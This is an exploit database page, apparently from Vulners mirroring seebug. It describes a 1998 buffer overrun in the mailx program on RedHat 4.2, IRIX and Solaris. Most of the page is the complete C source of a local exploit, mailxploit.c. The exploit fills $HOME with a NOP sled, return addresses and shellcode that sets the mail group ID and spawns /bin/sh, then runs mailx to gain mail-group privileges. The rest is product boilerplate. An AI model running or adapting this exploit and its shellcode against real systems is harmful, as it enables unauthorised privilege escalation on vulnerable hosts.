Lucene search
K

RedHat Linux 4.2,SGI IRIX <= 6.3,Solaris <= 2.6 mailx Vulnerability (1)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

Vulnerability in /bin/mailx program allows execution of arbitrary code. Exploit allows acquiring "mail" group privileges

Code

                                                source: http://www.securityfocus.com/bid/393/info

A buffer overrun exists in the /bin/mailx program. This program was originally developed as part of BSD, and is available on many Unix systems. By supplying a long, well crafted buffer as the username argument, an attacker can use it to execuate arbitrary code. On some systems, this will result in the ability to execute code as group mail. 

/*
 * mailxploit.c (Linux/i386)
 * Sat Jun 20 00:47:59 CEST 1998
 * Alvaro Martinez Echevarria &#60;[email protected]&#62;
 * Exploit a buffer overrun in mailx using the environment variable
 * $HOME, to acquire &#34;mail&#34; group privileges (assuming that mailx
 * is installed setgid mail).
 */

#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;unistd.h&#62;
#include &#60;string.h&#62;

/*
 * The location of mailx.
 */
#define MAILX  &#34;/usr/bin/mail&#34;
/*
 * The gid for group mail (represented in a char, in hexadecimal).
 */
#define GID    &#34;\x08&#34;

#define DEFAULT_OFFSET                 2000
#define DEFAULT_BUFFER_SIZE            1124
#define NOP                            0x90

char shellcode[] =
  /* seteuid(GID); setreuid(GID,GID); */
  &#34;\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1&#34; GID &#34;\x31\xc0\xb0\x47\xcd\x80&#34;
  &#34;\x31\xdb\x31\xc9\xb3&#34; GID &#34;\xb1&#34; GID &#34;\x31\xc0\xb0\x47\xcd\x80&#34;
  /* generic shell code by Aleph One */
  &#34;\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b&#34;
  &#34;\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd&#34;
  &#34;\x80\xe8\xdc\xff\xff\xff/bin/sh&#34;;

unsigned long
get_sp(void) {
   __asm__(&#34;movl %esp,%eax&#34;);
}

int
main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  addr = get_sp() - offset;
  if ((buff=(char *)malloc(bsize))==NULL) {
    fprintf(stderr,&#34;error in malloc()\n&#34;);
    exit(1);
  }

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i &#60; bsize; i+=4)
    *(addr_ptr++) = addr;
  for (i = 0; i &#60; bsize/2; i++)
    buff[i] = NOP;
  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i &#60; strlen(shellcode); i++)
    *(ptr++) = shellcode[i];
  buff[bsize - 1] = &#39;\0&#39;;

  setenv(&#34;HOME&#34;,buff,1);
  execl(MAILX,MAILX,&#34;-n&#34;,&#34;-f&#34;,&#34;~/patata&#34;,NULL);

  exit(0);

}


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation